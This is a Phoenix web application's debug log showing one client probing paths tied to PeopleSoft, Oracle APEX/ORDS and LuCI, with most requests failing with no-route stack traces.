[Thu Sep  3 08:03:08.846000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33286] ** (Phoenix.Router.NoRouteError) no route found for GET /dndirector/dashboard/Show.dn (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:16.605000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39258] GET /
[Thu Sep  3 08:03:16.605000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:39258] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:03:16.606000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39258] Sent 200 in 1ms
[Thu Sep  3 08:03:16.847000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39242] GET /dndirector
[Thu Sep  3 08:03:16.882000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39242] ** (Phoenix.Router.NoRouteError) no route found for GET /dndirector (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:21.308000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39262] GET /psp/
[Thu Sep  3 08:03:21.334000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39262] ** (Phoenix.Router.NoRouteError) no route found for GET /psp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:21.962000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39272] GET /PSIGW/HttpListeningConnector
[Thu Sep  3 08:03:22.028000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39272] ** (Phoenix.Router.NoRouteError) no route found for GET /PSIGW/HttpListeningConnector (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:22.697000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39288] GET /psc/
[Thu Sep  3 08:03:22.717000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39288] ** (Phoenix.Router.NoRouteError) no route found for GET /psc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:23.215000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50712] GET /btmui/
[Thu Sep  3 08:03:23.252000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50712] ** (Phoenix.Router.NoRouteError) no route found for GET /btmui (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:23.408000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50714] GET /PSEMHUB/hub
[Thu Sep  3 08:03:23.431000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50714] ** (Phoenix.Router.NoRouteError) no route found for GET /PSEMHUB/hub (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:24.235000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50730] GET /PSIGW/RESTListeningConnector
[Thu Sep  3 08:03:24.268000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50730] ** (Phoenix.Router.NoRouteError) no route found for GET /PSIGW/RESTListeningConnector (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:24.856000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50746] GET /PSIGW/PeopleSoftServiceListeningConnector
[Thu Sep  3 08:03:24.884000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50746] ** (Phoenix.Router.NoRouteError) no route found for GET /PSIGW/PeopleSoftServiceListeningConnector (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:25.595000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50762] GET /ords/r/apex/workspace-sign-in/oracle-apex-sign-in
[Thu Sep  3 08:03:25.626000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50762] ** (Phoenix.Router.NoRouteError) no route found for GET /ords/r/apex/workspace-sign-in/oracle-apex-sign-in (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:35.608000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55904] GET /ords/
[Thu Sep  3 08:03:35.638000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55904] ** (Phoenix.Router.NoRouteError) no route found for GET /ords (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:35.758000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55918] GET /apex/f
[Thu Sep  3 08:03:35.785000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55918] ** (Phoenix.Router.NoRouteError) no route found for GET /apex/f (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:36.063000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55930] GET /cgi-bin/luci
[Thu Sep  3 08:03:36.079000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55930] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/luci (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:36.226000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55946] GET /apex/listenerConfigure
[Thu Sep  3 08:03:36.252000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55946] ** (Phoenix.Router.NoRouteError) no route found for GET /apex/listenerConfigure (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:36.416000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55956] GET /pls/apex/f
[Thu Sep  3 08:03:36.440000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55956] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/apex/f (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:46.617000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48496] GET /conductor
[Thu Sep  3 08:03:46.640000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48496] ** (Phoenix.Router.NoRouteError) no route found for GET /conductor (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:47.475000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48486] GET /
[Thu Sep  3 08:03:47.475000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48486] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
